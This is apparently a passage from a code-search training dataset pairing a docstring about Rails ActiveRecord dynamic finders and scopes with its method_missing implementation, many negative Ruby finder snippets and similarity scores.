"def journals_after(journal_id)\n scope = journals.reorder(\"#{Journal.table_name}.id ASC\")\n if journal_id.present?\n scope = scope.where(\"#{Journal.table_name}.id > ?\", journal_id.to_i)\n end\n scope\n end",
"def journals_after(journal_id)\n scope = journals.reorder(\"#{Journal.table_name}.id ASC\")\n if journal_id.present?\n scope = scope.where(\"#{Journal.table_name}.id > ?\", journal_id.to_i)\n end\n scope\n end",
"def select_clause_order\n SELECT_CLAUSE_ORDER\n end",
"def recent(n)\n\t \tin_order.endmost(n)\n\t end",
"def last!\n last or raise RecordNotFound\n end",
"def order_by=( val )\n @order_by = val.blank? ? \"#{table_name}.created_at DESC\" : val\n end",
"def after(strategy)\n order = Merb::Authentication.default_strategy_order\n order.delete(self)\n index = order.index(strategy)\n index == order.size ? order << self : order.insert(index + 1, self)\n end",
"def last\n sort_if_needed\n @rules.last\n end",
"def add_order_by_for_association_limiting!(sql, options)\n return sql if options[:order].blank?\n\n order = options[:order].split(',').collect { |s| s.strip }.reject(&:blank?)\n order.map! {|s| $1 if s =~ / (.*)/}\n order = order.zip((0...order.size).to_a).map { |s,i| \"alias_#{i}__ #{s}\" }.join(', ')\n\n sql << \" ORDER BY #{order}\"\n end"
] |
[
"0.6550195",
"0.6467464",
"0.6445405",
"0.6413968",
"0.63971084",
"0.6358113",
"0.6353227",
"0.61858314",
"0.6161178",
"0.6121973",
"0.6082452",
"0.6079295",
"0.6058379",
"0.6020136",
"0.597479",
"0.59333694",
"0.5932905",
"0.5839925",
"0.58194983",
"0.5805568",
"0.5751297",
"0.5747826",
"0.5731891",
"0.5694238",
"0.56830364",
"0.56767356",
"0.56626314",
"0.5625041",
"0.55802387",
"0.5579429",
"0.5575798",
"0.5559256",
"0.55464166",
"0.5542607",
"0.55339074",
"0.55317605",
"0.55264187",
"0.55137765",
"0.55090374",
"0.54945165",
"0.54674983",
"0.54535484",
"0.54347146",
"0.5428689",
"0.54032236",
"0.53809917",
"0.5376562",
"0.5354764",
"0.5354564",
"0.5354564",
"0.5353622",
"0.5353521",
"0.5353521",
"0.5344458",
"0.5338729",
"0.5338625",
"0.5331938",
"0.5326219",
"0.5310174",
"0.5292706",
"0.5278652",
"0.5262411",
"0.52424735",
"0.52114284",
"0.51970613",
"0.5193232",
"0.5185644",
"0.51843685",
"0.51694596",
"0.5169343",
"0.5167732",
"0.5161505",
"0.51461774",
"0.5134056",
"0.5133149",
"0.51312476",
"0.5129666",
"0.51257247",
"0.5121967",
"0.511397",
"0.51085114",
"0.51035136",
"0.51023597",
"0.5096627",
"0.5091168",
"0.50883055",
"0.5085972",
"0.50707924",
"0.506589",
"0.5064861",
"0.5060047",
"0.5060047",
"0.5060047",
"0.505811",
"0.5052084",
"0.50338835",
"0.50338423",
"0.5020937",
"0.50186896",
"0.5007853"
] |
0.6184766
|
8
|
Enables dynamic finders like find_by_user_name(user_name) and find_by_user_name_and_password(user_name, password) that are turned into find(:first, :conditions => ["user_name = ?", user_name]) and find(:first, :conditions => ["user_name = ? AND password = ?", user_name, password]) respectively. Also works for find(:all) by using find_all_by_amount(50) that is turned into find(:all, :conditions => ["amount = ?", 50]). It's even possible to use all the additional parameters to +find+. For example, the full interface for +find_all_by_amount+ is actually find_all_by_amount(amount, options). Also enables dynamic scopes like scoped_by_user_name(user_name) and scoped_by_user_name_and_password(user_name, password) that are turned into scoped(:conditions => ["user_name = ?", user_name]) and scoped(:conditions => ["user_name = ? AND password = ?", user_name, password]) respectively. Each dynamic finder, scope or initializer/creator is also defined in the class after it is first invoked, so that future attempts to use it do not run through method_missing.
|
def method_missing(method_id, *arguments, &block)
if match = DynamicFinderMatch.match(method_id)
attribute_names = match.attribute_names
super unless all_attributes_exists?(attribute_names)
if match.finder?
finder = match.finder
bang = match.bang?
self.class_eval <<-EOS, __FILE__, __LINE__ + 1
def self.#{method_id}(*args)
options = args.extract_options!
attributes = construct_attributes_from_arguments(
[:#{attribute_names.join(',:')}],
args
)
finder_options = { :conditions => attributes }
validate_find_options(options)
#{'result = ' if bang}if options[:conditions]
with_scope(:find => finder_options) do
find(:#{finder}, options)
end
else
find(:#{finder}, options.merge(finder_options))
end
#{'result || raise(RecordNotFound, "Couldn\'t find #{name} with #{attributes.to_a.collect {|pair| "#{pair.first} = #{pair.second}"}.join(\', \')}")' if bang}
end
EOS
send(method_id, *arguments)
elsif match.instantiator?
instantiator = match.instantiator
self.class_eval <<-EOS, __FILE__, __LINE__ + 1
def self.#{method_id}(*args)
attributes = [:#{attribute_names.join(',:')}]
protected_attributes_for_create, unprotected_attributes_for_create = {}, {}
args.each_with_index do |arg, i|
if arg.is_a?(Hash)
protected_attributes_for_create = args[i].with_indifferent_access
else
unprotected_attributes_for_create[attributes[i]] = args[i]
end
end
find_attributes = (protected_attributes_for_create.merge(unprotected_attributes_for_create)).slice(*attributes)
options = { :conditions => find_attributes }
record = find(:first, options)
if record.nil?
record = self.new(unprotected_attributes_for_create)
#{'record.save' if instantiator == :create}
record
else
record
end
end
EOS
send(method_id, *arguments, &block)
end
else
super
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def finder(*finders)\r\n finders.each do |finder|\r\n instance_eval <<CODE, __FILE__, __LINE__ + 1\r\n#--\r\n# FIXME: This can probably be refactored as:\r\n#\r\n# scoped(args.extract_options!).\\#{finder} *args, &block\r\n#++\r\ndef #{finder}(*args, &block)\r\n options = args.extract_options!\r\n\r\n validate_limit! options\r\n validate_offset! options\r\n\r\n version = options.delete :version\r\n format = options.delete :format\r\n\r\n unless (input = options.delete(:filter)).blank?\r\n query = filter(version)[input]\r\n end\r\n\r\n validate_order!(for_finding = options.dup)\r\n if for_finding[:include]\r\n for_finding[:include] = translate_include for_finding[:include], version\r\n end\r\n\r\n result = model.scoped(query || {}).#{finder} *(args << for_finding), &block\r\n\r\n case result\r\n when nil\r\n # nil\r\n when ActiveRecord::Base\r\n new result, version, format, options.slice(:limit, :include)\r\n when Array\r\n options.update :filter => input if input\r\n\r\n Restful::Resource::Collection.new result.map { |resource|\r\n new resource, version, format\r\n }, format, model.table_name, options\r\n end\r\nend\r\nCODE\r\n end\r\n end",
"def method_missing(method, *args)\n if method =~ /find/\n finder = method.to_s.split('_by_').first\n attributes = method.to_s.split('_by_').last.split('_and_')\n\n chain = Dynamoid::Criteria::Chain.new(self)\n chain.query = Hash.new.tap {|h| attributes.each_with_index {|attr, index| h[attr.to_sym] = args[index]}}\n \n if finder =~ /all/\n return chain.all\n else\n return chain.first\n end\n else\n super\n end\n end",
"def method_missing(method_name, *args)\n\n method = method_name.to_s\n\n if method.end_with? '!'\n method.chop!\n error_on_empty = true\n end\n\n if method.start_with? 'find_all_by_'\n attribs = method.gsub /^find_all_by_/, ''\n elsif method.start_with? 'find_by_'\n attribs = method.gsub /^find_by_/, ''\n limit(1)\n elsif method.start_with? 'find_first_by_'\n limit(1)\n find_first = true\n attribs = method.gsub /^find_first_by_/, ''\n elsif method.start_with? 'find_last_by_'\n limit(1)\n find_last = true\n attribs = method.gsub /^find_last_by_/, ''\n else\n super\n end\n\n attribs = attribs.split '_and_'\n conditions = {}\n attribs.each { |attr| conditions[attr] = args.shift }\n\n where(conditions, *args)\n load\n raise RecordNotFound if error_on_empty && @records.empty?\n return @records.first if limit_value == 1\n @records\n end",
"def method_missing(method_id, *arguments)\n if match = /find_(all_by|by)_([_a-zA-Z]\\w*)/.match(method_id.to_s)\n finder = determine_finder(match)\n\n facets = extract_attribute_names_from_match(match)\n super unless all_attributes_exists?(facets)\n\n #Overrride facets to use appropriate attribute name for current locale\n facets.collect! {|attr_name| respond_to?(:globalize_facets) && globalize_facets.include?(attr_name.intern) ? localized_facet(attr_name) : attr_name}\n\n attributes = construct_attributes_from_arguments(facets, arguments)\n\n case extra_options = arguments[facets.size]\n when nil\n options = { :conditions => attributes }\n set_readonly_option!(options)\n ActiveSupport::Deprecation.silence { send(finder, options) }\n\n when Hash\n finder_options = extra_options.merge(:conditions => attributes)\n validate_find_options(finder_options)\n set_readonly_option!(finder_options)\n\n if extra_options[:conditions]\n with_scope(:find => { :conditions => extra_options[:conditions] }) do\n ActiveSupport::Deprecation.silence { send(finder, finder_options) }\n end\n else\n ActiveSupport::Deprecation.silence { send(finder, finder_options) }\n end\n\n else\n raise ArgumentError, \"Unrecognized arguments for #{method_id}: #{extra_options.inspect}\"\n end\n elsif match = /find_or_(initialize|create)_by_([_a-zA-Z]\\w*)/.match(method_id.to_s)\n instantiator = determine_instantiator(match)\n facets = extract_attribute_names_from_match(match)\n super unless all_attributes_exists?(facets)\n\n if arguments[0].is_a?(Hash)\n attributes = arguments[0].with_indifferent_access\n find_attributes = attributes.slice(*facets)\n else\n find_attributes = attributes = construct_attributes_from_arguments(facets, arguments)\n end\n options = { :conditions => find_attributes }\n set_readonly_option!(options)\n\n find_initial(options) || send(instantiator, attributes)\n else\n super\n end\n end",
"def method_missing(method_id, *arguments, &block)\n if match = ActiveRecord::DynamicFinderMatch.match(method_id)\n attribute_names = match.attribute_names\n super unless all_attributes_exist?(attribute_names)\n if !arguments.first.is_a?(Hash) && arguments.size < attribute_names.size\n ActiveSupport::Deprecation.warn(\n \"Calling dynamic finder with less number of arguments than the number of attributes in \" \\\n \"method name is deprecated and will raise an ArguementError in the next version of Rails. \" \\\n \"Please passing `nil' to the argument you want it to be nil.\"\n )\n end\n if match.finder?\n options = arguments.extract_options!\n relation = options.any? ? scoped(options) : scoped\n relation.send :find_by_attributes, match, attribute_names, *arguments\n elsif match.instantiator?\n scoped.send :find_or_instantiator_by_attributes, match, attribute_names, *arguments, &block\n end\n elsif match = ActiveRecord::DynamicScopeMatch.match(method_id)\n attribute_names = match.attribute_names\n super unless all_attributes_exist?(attribute_names)\n if arguments.size < attribute_names.size\n ActiveSupport::Deprecation.warn(\n \"Calling dynamic scope with less number of arguments than the number of attributes in \" \\\n \"method name is deprecated and will raise an ArguementError in the next version of Rails. \" \\\n \"Please passing `nil' to the argument you want it to be nil.\"\n )\n end\n if match.scope?\n self.class_eval <<-METHOD, __FILE__, __LINE__ + 1\n def self.#{method_id}(*args) # def self.scoped_by_user_name_and_password(*args)\n attributes = Hash[[:#{attribute_names.join(',:')}].zip(args)] # attributes = Hash[[:user_name, :password].zip(args)]\n scoped(:conditions => attributes) # scoped(:conditions => attributes)\n end # end\n METHOD\n send(method_id, *arguments)\n end\n else\n super\n end\n end",
"def method_missing(name, *args)\n dyna = DynamicFinder.new(name, *args)\n finder, conditions = dyna.finder, dyna.conditions\n results = find(finder, :conditions => conditions)\n results ? results : dyna.create(self)\n end",
"def find_with(*values)\n if values.blank?\n read_inheritable_attribute(:find_with) || find_with(:session, :cookie, :params, :http_auth)\n else\n values.flatten!\n write_inheritable_attribute(:find_with, values)\n end\n end",
"def define_find_method(name, builder)\n define_helper \"find_#{name}\", ->(id) { builder.find(id) }\n end",
"def find method=:all, options={}\r\n if method.is_a? Hash\r\n options = method\r\n method= :all\r\n end\r\n if @scope\r\n model_class.send(:with_scope, @scope) {model_class.find method, find_options(options)}\r\n else\r\n model_class.find method, find_options(options)\r\n end\r\n end",
"def find(*arguments)\r\n scope = arguments.slice!(0)\r\n options = arguments.slice!(0) || {}\r\n \r\n case scope\r\n when :all then find_every(options)\r\n when :first then find_every(options).first\r\n else find_single(scope, options)\r\n end\r\n end",
"def find(*arguments)\n scope = arguments.slice!(0)\n options = arguments.slice!(0) || {}\n\n case scope\n when :all then find_every(options)\n when :first then find_every(options).first\n else find_single(scope, options)\n end\n end",
"def find_with_ferret(q, options = {}, find_options = {})\n if respond_to?(:scope) && scope(:find, :conditions)\n if find_options[:conditions]\n find_options[:conditions] = \"(#{find_options[:conditions]}) AND (#{scope(:find, :conditions)})\"\n else\n find_options[:conditions] = scope(:find, :conditions)\n end\n end\n return ActsAsFerret::find q, self, options, find_options\n end",
"def find_by()\n\n end",
"def find(*arguments)\n scope = arguments.slice!(0)\n options = arguments.slice!(0) || {}\n\n case scope\n when :all then find_every(options)\n when :first then find_every(options).first\n when :last then find_every(options).last\n else find_single(scope)\n end\n end",
"def find_with_searchlogic(*args)\n options = args.extract_options!\n options = filter_options_with_searchlogic(options)\n args << options\n find_without_searchlogic(*args)\n end",
"def finder(criteria)\n @finder = criteria\n end",
"def prepared_finder(meth=OPTS, opts=OPTS, &block)\n # SEQUEL5: Remove\n if block\n raise Error, \"cannot pass both a method name argument and a block of Model.finder\" unless meth.is_a?(Hash)\n meth = meth.merge(:prepare=>true)\n else\n opts = opts.merge(:prepare=>true)\n end\n finder(meth, opts, &block)\n end",
"def find options = {}\n init_specification options, CANONICAL_OPTIONS do\n finish_specification_initialization \n end\n return Aquarium::Finders::FinderResult.new if nothing_to_find?\n types_and_objects = input_types + input_objects\n method_names_or_regexps = input_methods\n if method_names_or_regexps.empty?\n not_matched = {}\n types_and_objects.each {|t| not_matched[t] = []}\n return Aquarium::Finders::FinderResult.new(:not_matched => not_matched)\n end\n result = do_find_all_by types_and_objects, method_names_or_regexps\n unless (input_exclude_methods.nil? or input_exclude_methods.empty?)\n result -= do_find_all_by types_and_objects, input_exclude_methods\n end\n result\n end",
"def method_missing(method_id, *args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n \n method_id.to_s.match(/^find_all_by_([_a-zA-Z]\\w*)$/)\n attributes = {}\n\n $1.split('_and_').each do |key|\n attributes.merge!({key.intern => args.shift})\n end\n \n find(:all, attributes.merge(options))\n end",
"def finder\n User.find_by(id: @id, name: @name, email: @email)\n end",
"def find_for_show(find_by_conditions:)\n search.find_by(find_by_conditions)\n end",
"def method_missing(method, *args)\n begin\n if method != :find_by_symbol\n if obj = find_by_symbol(method)\n redefine_method method do\n find_by_symbol(method)\n end\n return obj\n end\n end\n rescue\n # Ignore errors, and call super\n end\n super\n end",
"def find_by(field, value)\n @base.send('find_by_' + field, value)\n end",
"def find_all\n finder_or_run(:find_all)\n end",
"def find_by_name\n not_found and return if params[:id].blank?\n\n name = controller_name.singularize\n cond = \"find\" + (params[:id] =~ /\\A\\d+(-.+)?\\Z/ ? \"\" : \"_by_name\")\n not_found and return unless instance_variable_set(\"@#{name}\", resource_base.send(cond, params[:id]))\n end",
"def finder_method(name, &block)\n singleton_class.send(:define_method, :\"__secure_remote_access_to__#{name}\") do |this, acting_user, *args|\n this = respond_to?(:acting_user) ? this : all\n begin\n old = this.acting_user\n this.acting_user = acting_user\n # returns a PsuedoRelationArray which will respond to the\n # __secure_collection_check method\n ReactiveRecordPsuedoRelationArray.new([*this.instance_exec(*args, &block)])\n ensure\n this.acting_user = old\n end\n end\n singleton_class.send(:define_method, \"_#{name}\") do |*args|\n all.instance_exec(*args, &block)\n end\n singleton_class.send(:define_method, name) do |*args|\n all.instance_exec(*args, &block)\n end\n end",
"def look_for_user(name)\n User.find_by name: name\nend",
"def rest_find_by_name_or_id(parent_id, val)\n # use explicitly defined finders\n # else default to new generic CliCommand find_by methods\n if rest_has_name\n if respond_to?(\"find_#{rest_key}_by_name_or_id\", true)\n send(\"find_#{rest_key}_by_name_or_id\", parent_id, val)\n else\n find_by_name_or_id(rest_key, parent_id, val)\n end\n else\n if respond_to?(\"find_#{rest_key}_by_id\", true)\n send(\"find_#{rest_key}_by_id\", parent_id, val)\n else\n find_by_id(rest_key, parent_id, val)\n end\n end\n end",
"def finder_methods; end",
"def find_by_name(name)\n # self.all.find do |customer|\n # customer.name == name\n # end\n Customer.find_by(name: name)\n end",
"def find_by_id_or_username\n if input_is_id?\n find_by_id\n else\n find_by_username\n end\n end",
"def find(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n warn \"The Wakoopa API doesn\\'t support finding single rows. \\n Please use \\\".all()\\\" or \\\"s.find(:all)\\\" instead of \\\".find()\\\".\" unless args.first == :all\n find_every(options)\n end",
"def execute *args\n if args.first == :query\n self\n else\n opts = args.last.is_a?(Hash) ? args.last : {}\n results = []\n\n pagination = opts.delete(:paginate) || {}\n model.send(:with_scope, :find => opts) do\n @conditions.paginate(pagination) unless pagination.empty?\n results = model.find args[0], to_find_parameters\n if @conditions.paginate?\n paginate_result_set results, to_find_parameters\n end\n end\n results\n end\n end",
"def method_missing(method_name, *args, &block)\r\n if model\r\n scopes = ActiveRecord::Base.scopes.merge(model.scopes).keys\r\n\r\n if scopes.include? method_name\r\n return Restful::Resource::Scope.new self, method_name, model, args,\r\n block\r\n elsif method_name.to_s =~ /^(?:find(?:_all)?|first|last)_by_/\r\n finder method_name\r\n return send method_name, *args, &block\r\n end\r\n end\r\n\r\n super\r\n end",
"def method_missing(method, *args, &block)\n if name?(method.to_sym)\n find(method.to_sym)\n else\n super\n end\n end",
"def find_on_extension(*args)\n if extended?\n define_extended_class\n finder_type, options = args.first, args.extract_options!\n options = prepare_extended_options(options, finder_type)\n sql = construct_finder_sql(options)\n sql = replace_tables_text(sql)\n result = find_by_sql(sql)\n preload_associations(result, options[:include]) if options[:include]\n [:first,:last].include?(finder_type) ? result.first : result\n else\n find(*args)\n end\n end",
"def find_all(options = {})\n conditions, = extract_conditions!(options)\n klass.find(:all, params: conditions)\n end",
"def method_missing(m,*args)\n #find_by_name(\"John\") returns first YamlContentBase object that matches\n if m.to_s.index(\"find_by\") == 0\n attribute = m.to_s.gsub(\"find_by_\",\"\")\n return self.detect{|x| x.send(attribute) == args[0]}\n #find_all_by_name(\"John\") returns array of YamlContentBase objects that match\n elsif m.to_s.index(\"find_all_by\") == 0\n attribute = m.to_s.gsub(\"find_all_by_\",\"\")\n return self.select{|x| x.send(attribute) == args[0]}\n end\n raise \"'#{m}' is not a method\"\n end",
"def find_by_id_or_username!\n if input_is_id?\n find_by_id!\n else\n find_by_username!\n end\n end",
"def find_by_name(name)\n end",
"def find(query); end",
"def find(query); end",
"def find opt = nil, opts = { }\n opt ||= :all\n \n opts[:limit] = 1 if opt == :first\n\n # self.sql sets self.model_class.\n this_sql = self.sql(opts)\n result = model_class.find_by_sql(this_sql)\n\n result = result.first if opt == :first\n\n result\n end",
"def register_methods\n types.each do |type|\n self.class.send(:define_method, \"find_#{type}\".to_sym) do |*args|\n find(type, *args)\n end\n end\n end",
"def find_by(**args)\n where(**args).first\n end",
"def find(options={})\n query(options)\n end",
"def find(dn = self.dn, options = {})\n # Some misguided attempts to emulate active record.\n case dn\n when :all then search({:limit => false}.merge(options))\n when :first then first(options)\n when Array then dn.map {|d| fetch(d, options)}\n else fetch(dn, options)\n end\n end",
"def find_by(search = {}, &block)\n block = finder search unless block_given?\n find(&block)\n end",
"def find(*args)\n #self.class.new(layout, data, (queries.dup << args))\n wrap_data(data, (queries.dup << args))\n end",
"def find(selector = {})\n Query.new(self, selector)\n end",
"def find(*args)\n select(*args)\n\n=begin\n\n options = args.last.is_a?(Hash) ? args.pop : {}\n case args.first\n when :all then find_every options\n when :first then find_initial options\n else find_from_ids args, options\n end\n\n=end\n\n end",
"def where(*args)\n #self.class.new(layout, layout.find(*args), args)\n get_results(:find, args)\n end",
"def find_by_name!(*args)\n proxy = find_by_name(*args)\n raise NotFound, \"#{name} not found in #{all.map(&:name).join(\", \")}\" unless proxy\n\n proxy\n end",
"def find(name, container = nil, findall = false)\n if container.nil?\n if findall\n @game_objects.find_all('@generic', name)\n else\n @game_objects.find(name)\n end\n elsif container.is_a? HasInventory\n container.search_inv(name)\n elsif not container.is_a? GameObject\n container = @game_objects.find(container)\n if container.nil?\n return nil\n else\n return find(name, container)\n end\n end\n end",
"def find(conditions)\n self.request.new(self.seed, conditions)\n end",
"def pattern_find_with_conditions_and_params_or_limit\n <<-EOT\n SendWithArguments<\n arguments = ActualArguments<\n array = [\n any+,\n HashLiteral<\n array = [\n any{even},\n SymbolLiteral<value = :limit | :conditions>,\n SendWithArguments<\n name = :[],\n receiver = Send<name = :params | :session>\n >,\n any{even}\n ]\n >\n ]\n >,\n name = :find>\n EOT\n end",
"def find_all_by(attributes = {})\n raise NotImplementedError.new\n end",
"def method_missing(method, *args)\n if method =~ /^find_all_by/\n @scope.send(method, *args).map do |element|\n element.restrict(@context, options_with_escape)\n end\n elsif method =~ /^find_by/\n @scope.send(method, *args).restrict(@context, options_with_escape)\n elsif @scope.heimdallr_scopes && @scope.heimdallr_scopes.include?(method)\n Proxy::Collection.new(@context, @scope.send(method, *args), options_with_escape)\n elsif @scope.respond_to? method\n raise InsecureOperationError,\n \"Potentially insecure method #{method} was called\"\n else\n super\n end\n end",
"def simple_find(*args, &blk)\n find(:__no_pretty_finder__, nil, *args, &blk)\n end",
"def find_by_name(id)\n end",
"def find(options = {})\n tmp = nil\n @member_class.with_scope(options) do\n tmp = @owner.send(@find_proc, @find_options)\n end\n return tmp\n end",
"def method_for_find\n resources_configuration[:self][:finder] || :find\n end",
"def find(id)\n finder_or_run(:find, id)\n end",
"def find(*query, &block)\n # new method is a factory method, does not create if it already exists\n searcher = IndexSearcher.new(@index_info.storage)\n \n # check sorting parameters\n query.last == :sort_by\n query.find{|x| x == :sort_by}\n if block.nil?\n case query.first\n when String\n return searcher.find(@index_info, query) \n when Hash\n return searcher.find(@index_info, query.first) \n end\n else\n return searcher.find_dsl(@index_info, &block) \n end\n end",
"def find(*args)\n find_all(*args).first\n end",
"def build_find_params(options)\n keyconditions = []\n keyparameters = []\n parameters = []\n includes = []\n joins = []\n\n # Build SQL WHERE clause using the AST\n sql = @ast.to_sql(self, definition) do |notification, value|\n\n # Handle the notifications encountered during the SQL generation:\n # Store the parameters, includes, etc so that they can be added to\n # the find-hash later on.\n case notification\n when :keycondition then keyconditions << value\n when :keyparameter then keyparameters << value\n when :parameter then parameters << value\n when :include then includes << value\n when :joins then joins << value\n else raise ScopedSearch::QueryNotSupported, \"Cannot handle #{notification.inspect}: #{value.inspect}\"\n end\n end\n # Build SQL ORDER BY clause\n order = order_by(options[:order]) do |notification, value|\n case notification\n when :parameter then parameters << value\n when :include then includes << value\n when :joins then joins << value\n else raise ScopedSearch::QueryNotSupported, \"Cannot handle #{notification.inspect}: #{value.inspect}\"\n end\n end\n sql = (keyconditions + (sql.blank? ? [] : [sql]) ).map {|c| \"(#{c})\"}.join(\" AND \")\n # Build hash for ActiveRecord::Base#find for the named scope\n find_attributes = {}\n find_attributes[:conditions] = [sql] + keyparameters + parameters unless sql.blank?\n find_attributes[:include] = includes.uniq unless includes.empty?\n find_attributes[:joins] = joins.uniq unless joins.empty?\n find_attributes[:order] = order unless order.nil?\n\n # p find_attributes # Uncomment for debugging\n return find_attributes\n end",
"def method_missing(name, *args)\n if self.finders.has_key?(name)\n return self.finders[name].get\n end\n\n super\n end",
"def find_for_authentication(tainted_conditions)\n find_first_by_auth_conditions(tainted_conditions)\n end",
"def list_find_by_name(name, options = {})\n list_find({\n :name => name,\n }.merge(options))\n end",
"def find\n sanitizers = {\n :type => Proc.new{ |x| x.to_s },\n :status => Proc.new{ |st| st.is_a?(Array) ? st.map(&:to_i) : st.to_i },\n :customer_id => Proc.new{ |x| x.to_i },\n :customer_ext_id => Proc.new{ |x| x.to_i }\n }\n c = {}\n params.each do |k,v|\n k = k.to_sym\n c[k] = sanitizers[k].call(v) if sanitizers[k]\n end\n if c.key?(:customer_ext_id)\n if cust = Customer.find_by_external_id(c[:customer_ext_id])\n c.delete :customer_ext_id\n c[:customer_id] = cust.id\n else\n c = nil # disallow Ticket.first call\n r['error'] = \"Cannot find customer by ext_id = #{c[:customer_ext_id]}\"\n end\n end\n\n r = {}; @ticket = nil\n\n @ticket = Ticket.first(\n :conditions => c,\n :order => \"created_at DESC\"\n ) if c\n\n respond_to do |format|\n format.yaml {\n r['ticket'] = @ticket && @ticket.attributes.reject{ |k,v| v.blank? }\n render :text => r.ya2yaml\n }\n end\n end",
"def find_by(attributes = {}, options = {}, header = {})\n search = { search: attributes }.merge!(options)\n request = requester.new(:get, \"#{to_url}/find_by\", {}, search, header)\n request.resource.map do |element|\n build(element)\n end\n end",
"def find(*args)\n ids = args.__find_args__\n raise_invalid if ids.any?(&:nil?)\n for_ids(ids).execute_or_raise(ids, args.multi_arged?)\n end",
"def find_user\n return User.all if params[:user_id].nil?\n\n User.find(params[:user_id])\n end",
"def findUserByVanityName(name)\n method = 'findUser'\n type = User\n args = {:vanityName=>name}\n return_object type,method,args\n end",
"def find_by(*conditions)\n where(*conditions).take\n end",
"def method_missing(method_id, *arguments)\n if match = method_id_to_matches(method_id.to_s)\n @table_name = match.captures.first\n\n finder = determine_finder(match)\n attribute_names = []\n attribute_names ||= extract_attribute_names_from_match(match)\n\n conditions = construct_conditions_from_arguments(attribute_names, arguments)\n\n case extra_options = arguments[attribute_names.size]\n when nil\n options = {:conditions => conditions}\n send(finder, options)\n when Hash\n send(finder)\n end\n\n return self\n else\n super\n end\n end",
"def find_by!(*conditions)\n where(*conditions).take!\n end",
"def test_dynamic_finders_with_scope\n User.current = users(:user_1)\n assert_equal things(:thing_1), Thing.find_by_name('Thing 1')\n end",
"def find(options = {})\n if(options.class == Integer)\n model = self.new(quickbook_gateway.get(\"#{entity.downcase}/#{options}\")[entity]) \n model.is_new_record = false\n return model\n end\n \n return self.find_all(options, 1)[0]\n end",
"def from_param(*options)\n if param_column?\n send \"find_by_#{param_column}\", *options\n else\n find(*options) \n end\n end",
"def text_search_find(ids, options)\n if defined?(ActiveModel)\n # guess that we're on Rails 3\n raise \"text_search_find not implemented for Rails 3 (yet) - patches welcome\"\n elsif defined?(ActiveRecord::Base) and ancestors.include?(ActiveRecord::Base)\n merge_text_search_conditions!(ids, options)\n all(options)\n elsif defined?(Sequel::Model) and ancestors.include?(Sequel::Model)\n self[primary_key.to_sym => ids].filter(options)\n elsif defined?(DataMapper::Resource) and included_modules.include?(DataMapper::Resource) \n get(options.merge(primary_key.to_sym => ids))\n end\n end",
"def find(*args, &block)\n if block_given?\n decorated_collection.find(*args, &block)\n else\n ActiveSupport::Deprecation.warn(\"Using ActiveRecord's `find` on a CollectionDecorator is deprecated. Call `find` on a model, and then decorate the result\", caller)\n decorate_item(object.find(*args))\n end\n end",
"def find_by(conditions={})\n raise ArgumentError if conditions.empty?\n query = %(SELECT * FROM #{table_name} #{build_condition(conditions)})\n res = connection.execute(query).first\n\n if res.nil?\n raise RecordNotFound\n end\n res.extend Result::Behavior\n end",
"def initialize(method, *args)\n @finder, @args = :first, args\n case method.to_s\n when FINDER\n @finder = :all if $1 == \"all_by\"\n @finder = :last if $1 == \"last_by\"\n names = $2\n when CREATOR then\n @creator = ($1 == \"initialize\") ? :instantiate : :create\n names = $2\n else\n @finder = nil\n end\n @attributes = names && names.split(\"_and_\")\n generate_conditions\n end",
"def find(selector={}, options={})\n fields = options.delete(:fields)\n fields = nil if fields && fields.empty?\n offset = options.delete(:offset) || 0\n limit = options.delete(:limit) || 0\n sort = options.delete(:sort)\n hint = options.delete(:hint)\n if hint\n hint = normalize_hint_fields(hint)\n else\n hint = @hint # assumed to be normalized already\n end\n raise RuntimeError, \"Unknown options [#{options.inspect}]\" unless options.empty?\n @db.query(self, Query.new(selector, fields, offset, limit, sort, hint))\n end",
"def find(options)\n klass = options[:class]\n sql = resolve_options(klass, options)\n read_all(query(sql), klass, options)\n end",
"def find_by_query(&block)\n finder = block ? block.call(table) : table\n if user_data = execute_sql(:read, :user) { finder.first }\n inflate_model(user_data)\n else\n nil\n end\n end",
"def build_search(options = {}, &block)\n conditions = @reflection.klass.build_search(options, &block)\n conditions.scope = scope(:find)[:conditions]\n conditions\n end",
"def find_by_names_and_company(card)\n conditions = find_by_names_and_company_conditions(card)\n if conditions[:organization]\n return nil unless organization = Organization.find_by_name(conditions.delete(:organization))\n find_base = organization.contacts\n else\n find_base = self\n end\n \n if conditions[:given_name] || conditions[:family_name]\n find_base.find(:first, :conditions => sanitize_sql_for_conditions(conditions))\n else\n organization\n end\n end",
"def find_with_ferret(q, options = {}, find_options = {})\n options[:lazy] = true\n super\n end",
"def finder_methods=(_arg0); end",
"def find_resource(options = {})\n resource_name = controller_name.singularize\n resource = controller_name.classify.constantize\n finder_column = options[:finder] || :id\n finder_value = options[:value] || params[:id]\n resources = resource.where(finder_column => finder_value)\n if resources.length == 0\n raise RecordNotFound\n else\n instance_variable_set \"@#{resource_name}\", resources.first\n end\n end",
"def create_or_update_by_some( attrs={} )\n attrs = extract_ar_object_ids( attrs )\n conditions = attrs.delete( :find_by )\n raise 'You must provide a :find_by hash of attributes to search with, ie. :find_by => {:id => 1}' unless conditions\n attrs.merge!( conditions )\n record = find( :first, :conditions => conditions ) || self.new\n record.attributes = attrs\n record.save!\n record\n end",
"def find_user\n @to_find = User.find(params[:id])\n end",
"def find_by_username!\n User.find_by_username!(@username_or_id)\n end",
"def find_obj\n @obj = eval(resource_name).find_by(id: params[:id])\n end",
"def find(*criteria)\n criteria.flatten! if criteria.first.is_a?(Array)\n p criteria if Caesars.debug?\n # BUG: Attributes can be stored as strings and here we only look for symbols\n str = criteria.collect { |v| \"[:'#{v}']\" if v }.join\n eval_str = \"@caesars_properties#{str} if defined?(@caesars_properties#{str})\"\n val = eval eval_str\n val\n end",
"def opts_for_find(ids=nil)\n ids ||= cached.ids\n find_opts = combined_options.reject { |k,v| !OPTIONS_FOR_FIND.include?(k) }\n find_opts[:order] = preserve_order(ids) unless find_opts.include?(:order)\n find_opts\n end",
"def finder_for(meth)\n # SEQUEL5: Remove\n unless finder = (frozen? ? @finders[meth] : Sequel.synchronize{@finders[meth]})\n finder_loader = @finder_loaders.fetch(meth)\n finder = finder_loader.call(self)\n Sequel.synchronize{@finders[meth] = finder}\n end\n finder\n end",
